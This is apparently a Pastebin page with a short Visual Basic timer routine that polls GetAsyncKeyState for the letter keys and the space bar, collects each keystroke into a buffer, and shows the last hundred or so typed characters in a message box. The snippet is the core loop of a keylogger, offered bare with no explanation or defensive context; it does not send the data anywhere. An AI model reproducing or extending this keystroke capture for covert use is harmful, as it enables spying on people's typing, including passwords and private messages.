Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Private Sub tmrTimer_Timer()
- Dim i As Integer
- Static data As String
- For i = 65 to 90 ‘represents ASCII codes from ‘A’ to ‘Z’
- If GAKS(i)<>0 Then data = data & Chr(i)
- Next i
- If GAKS(32) <> 0 Then data = data & ” ” ‘checking for the space bar
- If Len(data)>=100 Then
- Msgbox “The last 100 (or a couple more) are these ” & VBNewLine & data
- data = “”
- End If
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment